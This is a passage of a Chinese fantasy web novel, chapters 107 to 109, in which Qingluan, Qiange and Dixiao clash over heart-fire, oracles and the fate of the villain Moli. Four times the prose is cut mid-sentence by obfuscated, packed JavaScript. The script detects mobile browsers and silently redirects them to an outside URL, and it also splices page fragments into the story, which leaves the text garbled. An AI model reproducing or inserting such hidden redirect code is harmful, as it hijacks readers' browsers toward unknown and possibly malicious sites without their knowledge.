那些呓语如同一根根看不见的丝线,将心火织成一幅久远古老的画面,以一种强势的姿态霸占了青鸾的脑海。 她见到白雪皑皑,看见那白茫茫一片中,一个女子的身影若隐若现。 那女子持着一柄通体雪白的长剑,剑身似乎缭绕着白色的烟雾…… 不对,那不是烟雾,而是心火。 ——白色的心火。 青鸾微微一怔。 雪色与天光一起被柔弱无骨的心火缠绕住,破碎,崩塌,然后不停地往下坠落。 那女子也在坠落。 她闭上眼睛,吐了一口气,像是如释重负。 然后青鸾听见她说—— 毁灭吧。 很轻的一声,却在出口的瞬间变为折磨人心神的呓语。 青鸾瞬间明了。 原来这便是神谕。 她没有想到自己听见的第一道神谕,竟然是这样一句话。 不待她反应过来,那些狂乱的呓语粉碎了眼前的一切,为她重新织就了一幅画面。 画面中同样有一个女子,她同样持着一柄长剑。 与方才不一样的是,这女子手中攥着的是一柄通体漆黑的剑,剑身燃烧的心火也似黑雾缭绕。 她没有往下坠落,而是剑指苍穹,黑色的心火焚烧着整片大地。 她目光坚毅,微启双唇,轻轻地道—— 宇宙洪荒,灵脉尽绝。 尘尽光生,山河万朵。 与方才一样,这句话在出口的一瞬间就变为了无解的呓语,成为一道神谕,随心火一起洒落在了尘世间的每一寸角落。 它们吸食着天地的灵气,然后自毁化为虚无,遁入虚空之中,亿万年来不断地重复着这一件事情。 青鸾看得呆住了。 早就听说四海八荒的灵力正在逐渐消散,人们的修行之路愈来愈艰难,也许以后灵气将会彻底断绝,到那时便无人再能修炼。 原本以为这是天地循环自然之理,却没想到灵脉断绝一事竟也是因心火而起。 可是,她为何要断了这天下的灵脉? 青鸾百思不得其解。 眼前骤然变幻的画面也没有给她思索的时间,心火重新变回了红色,灼人眼目,肆意张扬。 无数彼岸花于火海之中绽放,一阵风吹来,掀动着燃起心火之人的裙摆。 青鸾望着火海中的那道蓝色身影,莫名觉得眼熟。 女子生着一条蛇尾,头顶却长着一双小鹿似的角,她凌空立于火海之中,湿漉漉的眸光令人想起无害的小兽。 彼岸花海与火焰共生,花瓣燃着心火从她的身侧飘过,然后融入到她周围夺目的光芒里。 她似乎是在布阵。 一个无比庞大的法阵自她的指间生起,很快便覆盖了整片天地。 然后,她说出今天青鸾听到的第三道神谕。 也正是陌离曾经听到过并且奉为圭臬的那一句—— 杀了那些神。 青鸾瞳孔骤缩。 在听到这句话的一瞬间,无数声音一齐涌入她的脑海。 亿万年光阴中无数道神谕,轰然在她的脑中炸响。 她已经分辨不出那些神谕到底说过什么,现在她即便是维持着最基本的清醒都很难,脑海中持续的嗡鸣声让她几近崩溃。 危急之时,另一道心火的出现为她弱化了那些呓语,令她好受了许多。 青鸾抓住时机释放出精神游丝,将那些无比古老,却又携带着跨越时空的力量的声音从自己脑海中驱逐了出去。 见青鸾恢复清醒,千歌松了口气。 她握住青鸾的手,感觉到她指尖的冰凉:“我见你也被那些古怪的声音控制住了,所以用心火试探了一下,看能不能帮你摆脱控制。” “多亏了你。”青鸾回握住千歌的手:“你有没有听清那些声音说的什么?有没有看到什么画面?” 千歌点了点头。 青鸾猜测千歌应当同她一样听清了部分神谕,或者也看到了一些过去的画面,然而千歌接下来说的话却打破了她的猜想,令她惊诧不已。 千歌说她在火焰中看见了这个世界的未来。 “我不知道那是什么,总之,那些黑气吞噬着天地间所有的生命。” “只要是它经过的地方,便是枯骨遍地,寸草不生。” “我没有听到什么神谕,只听到了无数人的哭号,整个四海八荒都变成了恐怖的炼狱。” 顿了顿,她平复了一下情绪,颤抖着声音继续道:“然后我看见了心火,唯一能够不受影响,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871459|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被那些黑气所侵袭的,似乎就只有心火了。” “之后的画面变得很混乱,我看不清到底发生了什么。不过,我隐隐约约看见了陌离的身影,他好像也在燃烧着心火,在与那些夺人性命的黑气对抗。” “青鸾,我猜,我猜……” 千歌的声音变得犹豫,还是青鸾替她将心中的猜想说了出来:“世人对心火来历的说法主要分为两派,其中一派认为被心火选中的人天生便带有使命。所以你猜想,你所看到的画面是不久将会来临的一场灾难,而被心火选中的陌离肩负着与它相抗衡的使命,对么?” 千歌咬牙切齿地点了点头:“虽然我真的很想杀了他,可是看到那些恐怖的画面后,我知道他不能死。” “至少现在还不能死。” 青鸾听完千歌所言,不禁陷入沉思。 首先可以肯定的是,她曾经做过的那个预言梦中发生的一切都是真实的,听千歌方才描述的画面,她可以断定,那些能够剥夺所有人生命的黑气无疑就是魔族始祖之息。 在她的梦里直到最后也没人能够真正解决它,帝骁将大荒的土地以及生活在那片土地上的子民一并斩灭,也仅仅只能将始祖之息封印一段时间而已。 然而今日千歌看到了与她预言梦中截然不同的画面。 以心火与始祖之息相抗衡,虽然不知最后结果如何,到底是胜是败,但到底她看到了四海八荒所面临的那场灾难的另一种结局。 她不禁想,是不是自己做出了与从前不一样的选择,如蝴蝶扇动翅膀,搅动了遥远大洋之上的风浪,让预言梦中注定的灾难有了另一种可能。 另一种至少拥有希望,并不全然绝望的可能。 她低头凝视着自己的双手,注视着掌心仍在燃烧的火焰。 命运是从什么时候开始改变的? 也许就是从她在空桑山上第一次尝试反抗的那一刻开始吧。 从她选择永不屈服的那一刻,心火在她的灵魂深处觉醒了。 思索已毕,她正欲将目光从掌心的火焰移开,却见那火焰中心影影绰绰现出一个人的身影。 那道身影在火光中若隐若现,令人看不真切,可饶是如此,青鸾还是一眼便认出了他是谁。 她再熟悉不过了。 那道身影是帝宣。 千歌见她陷入了长久的沉默,把脑袋探过来,望向青鸾的掌心,却是什么也没看见,于是她问青鸾:“你在看什么呀,这么专注?” 青鸾无暇顾及其他,也没工夫回答千歌的问话。 她抬手将掌心的火焰凑近了些,皱着眉头仔仔细细地注视着帝宣的身影。 这一次她看得无比真切。 她看见帝宣身处大荒,双手持剑,正与那始祖之息缠斗。 他手中那一黑一白的长剑与青鸾方才聆听神谕时所看见的两柄剑一模一样,剑刃在与始祖之息散发出的黑气碰撞时会散发出激烈的火星。 他举剑的姿势比帝骁还要熟练,挥出的剑气也远比帝骁凌厉。 青鸾双手微微颤抖。 她不可置信地摇了摇头。 107. 浅歌行 帝宣是突然失踪的。 至少对于青鸾来说,他是突然消失在了她的世界里。 她记得那是一个极为寒冷的冬天,帝宣最后一次来青要山中寻她,同她分享了自己近段时间研究法阵的烦恼。 那时他正在思索着该如何将生灭之阵的力量发挥到极致,还从青鸾那里得到了灵感。 他夸她是天底下最聪明的姑娘,并且告诉她自己为她准备了一份礼物。 想到这里,青鸾突然怔了一怔。 是了,帝宣在失踪之前曾为她准备了一份礼物,还说下次再来找她时会亲手交给她。 可是从那以后,帝宣就再也没有来过。 那年冬天帝骁似乎也很忙碌,他直接宿在了九重天宫,经常十天半月才回青要宫一次。 青鸾独自在青要山中度过了那年寒冬。 她没能等来帝宣。 她那时想,一定是四海八荒发生了什么了不得的大事,就连帝骁都没有时间常回青要宫中,帝宣迟迟不来也是情有可原。 他应当也是被那件大事绊住了手脚。 那时的她对外界之事还没有什么概念,完全不知外面发生了什么,也不敢贸然打扰帝骁。 就这样一直忍着,等到了来年春天。 等到严冬已去,草木复苏,那桩大事似乎也得到了了结。 帝骁带着一身疲惫回到了青要宫,难得的换上了常服,连着几日都没有去九重天宫。 青鸾见他似乎不那么忙了,寻了一个他心情不错的时候,鼓起勇气向他询问帝宣的下落。 虽然帝骁一直都待她很好,可她与他相处时并不是全无顾忌,甚至有时同他说话还得小心翼翼。 就譬如此刻,向他询问他的死对头的下落。 世人皆知,武罗神君与长辉神君一向不和。 因为他们二人实在是太像了。 同为天君之孙,同样天赋异禀,都是万中无一的天之骄子,就连获得神君封号的时间都差不多。 无数双眼睛盯着他们,注视着他们的一言一行,议论着他们的一举一动。 这时候人们就会发现,原来同样优秀的两个人,还是有一些显著区别的。 长辉神君的母亲焕鸢夫人来自一个天下闻名的远古仙族,家族底蕴十分悠远,其中一些秘传绝学便连天君都不曾听说一二。 父亲与母亲都是有头有脸的大人物,强大的家族给予了帝宣许多的底气,让他知道即便自己不争不抢,这世间的一切美好事物也会奔他而来。 所以他永远都是温和的。 像春天迎面拂来的第一缕微风。 而帝骁与他大不相同。 他的母亲只是一介卑微凡人,不仅不能带给他任何的倚靠,反而与妖物苟且,甚至还生下了一个孽障,被天君亲自打入了龙渊之狱。 从此他成为众人耻笑的对象,便连他的父亲也因此厌恶他,将他独自扔在青要山上不管不顾。 所以帝骁从来都是冷冽的。 他像是万年不化的坚冰,身上总散发着拒人千里之外的寒意。 他似乎很少笑,就连目光都是冷峻的。 因此就连与他朝夕相处的青鸾有时同他说话都免不了小心翼翼,遑论其他人了。 于是在众人眼中,这两个同样天赋异禀的神君还是有了高下之分。 人们自然更喜和煦的春风而非万年的寒冰。 帝宣成为帝骁争夺天君之位路上的最大对手。 所以青鸾向他询问帝宣的下落,的确是需要很大勇气的。 她酝酿了许久,鼓足了勇气才向他开口,帝骁的反应倒也如她所料。 他淡漠地抬起眼望了一下她,然后轻描淡写地说了一句不知道。 她还想继续追问,他却避而不谈。 青鸾从那时起才开始真正担心帝宣的处境。 她不知道他是遇到了什么危险,还是发生了什么大事,就这样突然消失,便连九重天宫都仿佛遗忘了他的存在。 偶尔青鸾同帝骁一起参加宫宴,却再也没有在宴上见到过帝宣的身影,也不曾听到过旁人对他的议论。 他像是人间蒸发了,全世界似乎只有她一个人还记得他。 经年已逝,如今通过心火得知他的下落,她不能不激动。 虽然看不太真切,但心火已经给她提供了足够多的信息。 她知道帝宣曾经去过大荒,还持黑白双剑对战过始祖之息。 这便够了。 她抬起头来,望向眼前的虚空,那里仍旧燃烧着无尽心火。 “我要去一趟大荒,亲自会一会那魔族始祖之息。”青鸾没有发觉自己的声音也染上了些冷冽:“在那之前,陌离的确不能死。” 她转头对千歌道:“现在我们要做的是设法离开这里,不能让九重天的人杀了他。” 千歌愣了一下,内心挣扎万分,却还是点了点头。 然而青鸾的话音还没有落地,这座地宫中就来了一位九重天的不速之客。 帝骁手持归墟剑凭空出现,蹙眉扫了一眼地宫中熊熊燃烧着的心火,望见那些被心火暂时控制住的神兵时原本便紧皱着的眉头不由蹙得更紧。 最后他将目光定格在了青鸾身上。 “你怎么在这里?” 两人几乎同时发问。 帝骁笑了。 是被气笑的。 他一把将青鸾拉到自己身后:“知道这些神兵是怎么炼成的吗?怎么也敢乱闯?” 青鸾摇了摇头,很认真地问他:“我确实是不知道,但你又是如何知道的呢?” 帝骁诧异地回头望了她一眼,似乎没有想到她的第一反应不是像从前那般乖巧认错,而是开口反问。 他没有回答她的问题,转过头去,一手持剑一手拈决开始布阵。 青鸾注视着他结阵时熟练的动作,也忍不住笑了。 向来以法阵之术闻名天下的帝宣其实精通剑道,而向来以凌厉剑术著称的帝骁竟然也熟悉布阵。 她从来都被蒙在鼓里,的确是什么也不知道。 从帝骁指尖流淌出的光芒与心火一起缠绕在那些神兵身上,仿佛活物一般深深地呼吸着。 它们在抽取着神兵身上的生机。 那本来便不该存在于他们身上的一缕生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893992|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机。 没过多久,他们额间的红光便尽数消散,这代表陌离控制他们的神力已经失效,此刻他们已不再是被人炼化的神兵。 三人眼前出现一道悬浮的阶梯,那是离开地宫前往海面的通道。 帝骁抬步拾级而上,回头去望青鸾,却发现她没有跟上。 她仍旧立在原地,微微皱着眉头,似乎做下了一个决定。 “斩草除根吧。” 她轻轻地说了这么一句,然后地宫中的心火猛然跃起,将所有神兵吞噬。 连同那些铜棺一起,他们存在过的所有痕迹都被付之一炬。 千歌的眼中倒映着火光,她注视着那片似乎怒意滔天要将整座地宫都掀翻的火海,过了一会儿,点了点头:“是了,烧了这一切,让他们安息吧。” 青鸾沉默地转过身离开,没有再回头。 离开地宫之后,几人朝海上仙宫飞去。 “方才那座地宫可以直达九重天宫,只需要在阵眼燃烧心火即可。”帝骁似乎是在同青鸾做解释:“陌离之前复刻了阵眼,将自己的心火封印其中,炼成了一个法器,我只需要向法器注入神力就可以进入地宫。” 青鸾一边听着,一边诧异地转头望他。 这还是帝骁第一次主动对她解释些什么,甚至是在她根本没有发问的情况下。 她觉得不可思议。 “那么你呢,你是如何发现燃烧心火可以进入到地宫之中的?”帝骁向青鸾解答了她没有问出口的疑惑,同时询问青鸾:“你是……如何觉醒心火的?” “我是无意中发现可以凭借心火进入地宫的。”青鸾却不欲与他解释太多。 况且他为何要关心自己是如何觉醒心火的? 青鸾想到陌离的师父,曾经也状似关心地询问过他同样的问题。 再回想起那个预言梦,以及上古神棺中那个被剜去心脏的女子。 她不由得打了个寒颤。 如今她已不似从前那般无条件信任帝骁,关乎身家性命之事,她不得不防。 帝骁见她没有继续开口说话的意思,蹙了蹙眉,还欲再问,却见海面上飘来一道身影,挡住了他们的去路。 是陌浅。 准确来说是被陌离炼化控制住了的陌浅。 他的额间闪烁着方才地宫中的神兵们一样的诡异红光,银白色的长发凌乱地披在他的肩上,遮住了他的脸庞。 千歌不由自主地往前走了几步,想要靠近他却又顿住。 她看不清他的表情,也看不见他的眼睛。 她不知道此时此刻,他是在以什么样的目光注视着她。 或许他怨恨着她,又或许他已经彻底失去神智,成为一具没有感情的傀儡。 她想要唤他的名字,整个人却僵在了原地,怎么也张不开口。 帝骁沉着脸注视着拦住去路的陌离,缓缓扬起手中的归墟剑。 “等一下!”千歌终于开口:“你们先走,我来对付他吧。” 她的指尖燃起心火,火焰随风而起,瞬间涌上数丈高。 与火焰一同涌起的,还有她无边无际铺天盖地的悲伤。 108. 浅歌行 帝骁转头望了千歌一眼,没有说话,也没有退让的意思。 归墟剑气如霜,与此同时他的指尖闪烁起方才布阵的光芒。 他要用在地宫中同样的手段,吞噬陌浅身上的最后一丝生机。 千歌含着泪,求助地望向青鸾。 青鸾注视着相对而立的陌浅和千歌,片刻之后,抬手抚上帝骁的胳膊,将他举起归墟剑的手轻轻压了下去。 “让千歌牵制陌浅,我们先去海上仙宫找陌离吧。”她对帝骁说。 帝骁怔了一下,垂首望向青鸾抚上他胳膊的手。 下一秒他收了归墟剑,一言不发地往海上仙宫而去。 青鸾没有逗留,紧随其后飞往海上仙宫。 陌浅在他们移动的瞬间也飞身而起,想要继续拦住他们的去路,却被一条火绳缠住了身体,狠狠地向海面砸去。 他回过身来,抬首望向燃烧着心火攻向他的千歌。 千歌出手没有留情,火绳在攀上陌浅腰际的瞬间便猛烈燃烧起来,似要将他烧为灰烬才肯罢休。 陌浅祭出极渊斩断火绳,透明的剑身之上缭绕着火光,朝对面的千歌挥去。 千歌不躲不避,燃烧心火阻挡。 漫天大火燃成了一堵火墙,与凌厉的神剑相抗,而它们背后互相为敌的是一对曾经的爱人。 拥有后神血脉的神力与传说中天下无双的心火,自然都是强大无比的力量,它们的对峙难免殃及池鱼。 整片东海海域都剧烈地震动起来,海中之兽经受不住心火的炙热,纷纷跃出海面。 凭借心火才能开启的上古结界也受到了感应,海面上千歌燃起的心火与地宫中青鸾放的那一把火互相呼应,竟然在猛烈的颤动中将地宫炸了个粉碎。 那埋藏在海域深处的阵眼竟似活物,好像在亿万年光阴的沉眠中拥有了生命,在地宫被炸碎的一瞬间,它吃痛地晃了一晃,将放置在地宫中的宝物尽数吐出,包括那两具上古神棺。 然后,它缓缓地沉下去,向更幽深更冰凉的海底沉去。 一道身影穿梭在海里,在见到海中漂浮着的其中一具上古神棺后,他连忙布下一道小型的转移之阵,抓住机会将它转移到了万里之外的合虚。 直到感应到阵法运转成功,上古神棺切切实实进入到先神之地的范围,他这才松了口气,向海面之上浮去。 来人正是成渊。 既已得到上古神棺,了却了一桩大事,接下来就该去完成另外一件事了。 他抬头望向海上仙宫,朝着它的方向而去。 海上仙宫之中,感应到神兵皆被摧毁的陌离正准备逃出东海。 既然神兵能被摧毁,那就说明九重天宫的人一定早有准备,帝凌在与他合作的这些年里一直做着第二手的打算。 无论今日从九重天前来捉拿他的人是谁,失去了神兵的他都一定不是对手。 留得青山在不怕没柴烧,他祈祷着来人不是帝骁,否则他恐怕连逃跑的机会都没有。 可惜事与愿违,似乎是怕什么来什么。 就在他准备离开之时,帝骁鬼魅般现身,出现在了他的眼前。 没有同他多话,帝骁拂袖祭出归墟,对准了陌离的心脏刺去。 陌离狼狈后退,仓皇之中甚至来不及抵挡。 就在归墟即将刺穿陌离身体之时,一道心火自帝骁身后而来,缠住空中的归墟剑,将它往一旁甩去。 帝骁诧异回望,但见青鸾与他擦肩而过,燃烧着心火挡在了陌离面前。 帝骁着实没有想到,青鸾随他一起赶到海上仙宫寻找陌离,却是为了与他为敌,阻止他杀了陌离。 蹙了蹙眉,他对青鸾道:“鸾儿,你让开。” 青鸾眸光一颤,第无数次想起那个带有预言性质的梦。 梦中,帝骁在布下诸天同尘境一剑斩大荒时,也曾对挡在他面前的她说过同样的话。 想到这里,她不禁笑了。 这个笑容对于帝骁而言自然是意义难明的。 他不知道她到底在笑什么。 自从青鸾从空桑归来之后,他便觉得她与从前不大一样了。 原本他已经做好打算,此次东海之行是他最后一次放青鸾离开青要山,此间事了之后她将永居青要宫中,直到他坐上四海八荒至尊之位。 可是她变化的速度比他想象中快了太多。 他产生了一种久违的失控感。 精心豢养了许久的鸟儿,似乎是要破笼而出了。 “让开。”他声音清冷,向青鸾重复了一遍。 “他现在还不能死。”青鸾掌间心火更盛,她寸步不让:“心火是对付大荒魔族始祖之息的关键,所以无论如何他不能死。” 听到青鸾如此说,站在她身后的陌离愣了一下,然后仰头大笑:“是了,是了,我从一开始就感应到了,你和我一样拥有心火。” 青鸾挑了挑眉,回头望他。 他目光热切地道:“所以即便知道你是帝骁派来的人,也知道你图谋不轨,我也没有杀你。我就知道,既然你也拥有心火,那你迟早也能看到。神谕会指引你的,它会让你看到这个世界的未来。” 说着他抬手指向帝骁:“我在火焰中看到这位人人敬畏的神君,他一剑斩了大荒!这就是如今所谓的神,他们根本就辱没了神的名号!我们一起杀了他,杀上九重天,杀了那些虚伪的神!” 青鸾被他吵得头疼:“你安静一点。” 帝骁召回归墟,剑指青鸾,冷笑一声道:“所以你指望这个疯疯癫癫的人和你一起对抗始祖之息,完成你们救世主的梦想?” 青鸾也笑了笑,这回她的笑容没有任何其他的含义,却令帝骁莫名觉得刺眼。 “无论如何,至少他拥有心火。比起他,我更怀疑你能否成为四海八荒的救世主。”这是第一次,青鸾在同帝骁说话时具有极强的攻击性:“其实我也很好奇,你如此觊觎天君之位究竟是因为什么,总不能是因为心怀救世主的梦想吧?” 帝骁一时竟说不出话来。 太陌生了,眼前的青鸾仿佛彻底换了一个人,令他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906950|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感到陌生无比。 青鸾直视着帝骁的眼睛,目光里有质疑,有询问,甚至还有一丝微不可见的鄙夷。 “既然话都说到这里了,我们不妨一次把话说清楚。” “其实你早就在监视着东海,监控着陌离的一举一动,他做的所有事情你都知情。你之所以安排我来东海,只是为了借我之手揭露他的所作所为,其实即便我什么也不做,你也可以拿我做借口攻来海上仙宫,然后在‘无意中’发现陌离的阴谋,是么?” “你从一开始就知道,只要我踏入海上仙宫,就一定会被陌离软禁起来,我不过是你精心设计的连环计中最微不足道的一棋子而已,对不对?” 青鸾接连问了两句对不对,语气里却既无难过也无失望。 有的只是愤怒。 她目光里燃烧着愤怒,愤怒作为养料,滋养着她掌间的心火。 她所说出的每一句话都是如此犀利,自从有了神君封号之后,再也没有人敢这样同帝骁说话。 而今他听到青鸾的一声声质问,第一反应竟然不是恼怒,而是想要逃避。 他想要避开这个话题,不欲与她在这里对峙。 沉默了一会儿,他有些艰难地道:“我的确是有我的打算,但你并不是什么微不足道的棋子。鸾儿,一切等我们回到青要山再说……” 青鸾打断了他:“我不会再回青要山了。” 帝骁怔了一怔,他今天已经做了史无前例的让步:“不回青要山?那你有什么地方可去?” 他这话激得青鸾一声冷笑:“四海八荒如此之大,自然有地方可让我去。”顿了顿,她继续道:“譬如大荒。” 帝骁再次蹙眉:“你既已知晓魔族始祖之息于大荒苏醒,何以要去如此危险之地?” 他这一句话倒像是十足的关心,声音里透出无法掩饰的焦急。 这回轮到青鸾沉默了,她安静地注视了帝骁一会儿,和缓了语气道:“我想问你最后一个问题。” “你知道帝宣在哪吗?” “这就是你想问的最后一个问题?”帝骁反问:“这么多年过去了,你居然还对他念念不忘?” 青鸾目光一沉,不打算继续说话。 此情此景,多说一个字都是浪费。 两人静默一瞬,于沉默中听见了成渊的笑声。 他好整以暇凭栏而立,嘲讽地鼓起了掌:“真是精彩,没想到堂堂武罗神君,在这小丫头面前说起话来却是拈酸吃醋。” 说到拈酸吃醋四个字,他忍不住又笑了起来:“好一个念念不忘啊,不过想想也是,那长辉神君是何等人物?即便陨落多年,也多的是人对他念念不忘。” 眯了眯眼,他继续煽风点火:“武罗神君,你输给他倒也不亏。” 帝骁不耐烦地冷哼一声:“你不去取上古神棺,跑来这里做什么?” 成渊摊了摊手:“上古神棺已取,我还有另外一事要做。” 他将目光移到陌离身上,声音骤然一冷:“我来海上仙宫只为一件事,取他狗命。” 109. 浅歌行 帝骁语调上扬哦了一声:“如此甚好,看来我们目标一致。” “但是在杀他之前,我们似乎要先解决一个麻烦。”成渊冲着青鸾扬了扬下巴。 蓦地,他似是想起了什么可怕的回忆,用目光无言地向帝骁询问:这丫头不会再向上次那样邪门儿了吧?她好了没有? 帝骁无视了成渊的目光,转过头去望着青鸾,耐着性子第三次对她道:“你让开。” 青鸾还没来得及开口,她身后的陌离举了举手,打断了他们的对话:“先等一下,你们都想杀我,帝骁好歹还有个理由。”他望向成渊:“你又是谁?为什么要杀我。” 成渊勾了勾唇角:“你再好好看看,看我长得像谁?” 陌离盯着他看了好一会儿后露出恍然大悟的表情,紧接着他陷入长久的恍惚,沉了声音问:“孩子,你是为了她来杀我的?”沉吟片刻后他自言自语分析道:“你这个理由倒是比帝骁的合理多了。” 成渊见他如此反应,有些啼笑皆非:“杀你这种败类还需要特意寻个理由不成?” 他再次眯了眯眼,这次却透出些危险的意味:“我问你,我母亲和哥哥在哪里?” 陌离长长地叹了口气:“你不是已经取得了上古神棺?难道方才没有看见他们?” 成渊怔了一怔。 他想起方才海面之上对峙的那两道身影,顿时怒火中烧:“你对他们做了什么?陌浅怎么会变成那个样子?” 取得上古神棺之后,前往海上仙宫之时,他曾经过正在用心火和极渊对战的千歌与陌浅。 那时他只是匆匆一瞥,赶着前往仙宫拦截准备逃跑的陌离,对二人并没有过多的关注。 但此刻听陌离如此说,他终于反应过来,方才他在海面上扫过一眼的银发男子与记忆中兄长的模样重叠起来。 事实摆在眼前,他的兄长被他们的父亲炼化成了一个状似疯魔的傀儡。 在杀了陌离和去救陌浅之间犹豫了一瞬,成渊沉着脸转过身,还是决定先去寻找陌浅。 却在这时听到陌离发出一声比哭还难听的笑,成渊蹙眉转头望他,见他没了骨头似的瘫坐在地,仿佛是精神崩溃,呆滞着目光反反复复地说着太迟了。 “太迟了,太迟了,一切都太迟了……” 与此同时,不远处传来一声巨响,令人窒息的炙热从海面传来,直抵海上仙宫。 成渊猛然回首,他看见海面之上燃起的火光,借着风势直上万里云霄,似欲扑灭天光。 便在方才众人于海上仙宫对峙之时,不远处的海面上千歌与陌浅的对战也进入了尾声。 千歌从来没有这样极致地燃烧过心火,原本她以为自己坚持不了多久,却没想到心火仿佛永远不会枯竭,源源不断地向她提供着力量。 而陌浅也在极限地使用着自己身体的力量。 布阵的光芒在他的指尖明明灭灭,掀起万丈高的海水,极渊早已脱手而出,在他的控制下御风而行,穿梭在冰凉的海水之间,突破心火的包围寻找着千歌的要害。 陌浅并没有彻底失去意识。 他还在争夺着对身体的控制权。 因此他在战斗时望向千歌的目光,时而带着清醒的痛苦,时而又是残忍的麻木。 但无论清醒或是麻木,不管是代表陌离还是为了自己,他攻向千歌的剑势都是一样的凌厉。 从一开始他便做下了决定,他想要清醒地活下去,为此他不惜付出任何代价。 哪怕这个代价是牺牲他最爱的人。 千歌明亮的眼中蓄满了泪水,她好像下一秒就要控制不住哭出声来,可是她出手的速度也完全没有因此放缓。 她也想要活下去,她被心火选中,拥有旁人所没有的力量,也背负着旁人所不用背负的使命。 她不能死。 至少现在还不能死。 于是最后,两道强横的力量迎面相撞,心火与法阵的光芒互相攻击又互相缠绕,霎时间吞没了天光。 天地无光的一瞬间,陌浅指尖的光芒也随之湮灭,法阵的力量如烟消散,心火化为利刃穿过他的身体,在与海水相碰撞时发出剧烈的声响。 便也就是成渊等人在海上仙宫都能听见的那一声巨响。 千歌飞身上前,冲过去接住了轻飘飘往下坠落的陌浅。 在意识即将消散之前,陌浅终于恢复了真正的清醒,他的目光从未如现在这般清明。 他安静地躺在千歌怀里,仰头注视着她。 片刻后,他几不可闻地对她说了声谢谢。 在陌浅的身体彻底变得冰凉的时候,千歌终于意识到,她已与他经历了一场盛大的诀别。 在内心生出的一片荒芜里,她手刃了自己的爱人。 海上仙宫。 意识到方才在海面上发生了什么的成渊阴沉地回过头来,冷冷注视着陌离,不容分说便朝他攻去。 凌厉的攻势却被青鸾以心火挡下。 方才还一心想要逃跑的陌离此刻却一动不动地瘫坐在地,他似乎的确是精神崩溃了,面对成渊的进攻不躲不避,只是反复地说着一切都迟了。 “我什么都没了,哈哈哈,到头来是我什么都没了。”他抬起手一下又一下地扯着自己的头发:“迟了,一切都迟了……” 青鸾背对着他,声音清冷:“只要还没死,一切都来得及。” 说完这话她自己都怔了一下。 以前她从来不相信这种话的。 可是在死过一次之后,她忽然就明白了。 只要还没死,一切都还有可能。 便在她燃烧心火拼尽全力阻挡成渊之时,千歌带着一身肃气飞来海上仙宫。 青鸾冲她道:“你带陌离走,带他去找宫聿风!” 听到宫聿风这个名字,陌离终于不再反反复复地念叨那同一句话,他安静下来,呆呆地坐在原地,似是在心里默默咀嚼。 宫聿风这三个字令他感到无比熟悉。 千歌上前一步,正欲穿过火墙带走陌离,却被一柄散发着凛冽杀气的断剑抵在了喉间。 世间能有如此杀气的神剑唯有归墟。 帝骁将剑横在千歌脖上,冷冷地对青鸾道:“他今天哪儿也去不了。” 场面一时变得更加焦灼起来。 心火仍在燃烧,成渊还在尝试突破心火的阻挡一剑杀了陌离,归墟散发着难掩杀意,只要千歌胆敢继续往前半步,帝骁定会让她血洒此地。 这几人当中只有陌离仿佛事不关己,一点也不在意外界发生了什么,有谁想要杀他,又有谁想要带走他。 他沉浸在自己的世界里,一会儿喃喃几声来不及了,一会儿埋头苦思宫聿风这个名字。 便在几人僵持不下之时,一道绛色身影挡在了青鸾面前,拂袖挥开成渊,打破了僵局。 “帝师?!” 成渊与帝骁同时蹙眉。 陌离则在看见路之遥的瞬间站起身来。 “我想起来了,我想起来了。”他仍旧有些语无伦次,状态却比方才好了许多:“我借你上古神棺,你答应暂居海上仙宫,若是有人杀我,你要替我阻他……” 路之遥却是没有理他,侧首扫了一眼青鸾:“没事吧?” 青鸾愣了一下:“我… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913325|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …?我没事。” 帝骁撤了归墟后退几步,在看见路之遥的那一刻如临大敌,满脸戒备之色。 路之遥确认青鸾无事之后,转首对千歌道:“带他走吧。” 轻描淡写的一句,却带着不容反驳的力量。 千歌顿觉踏实无比,在几人的注视下走向陌离,拽住他的胳膊朝海上飞去。 待他们的身影消失在了视线之中,路之遥再次侧首对青鸾道:“你也走吧,去你想去的地方。” 青鸾又愣了一下。 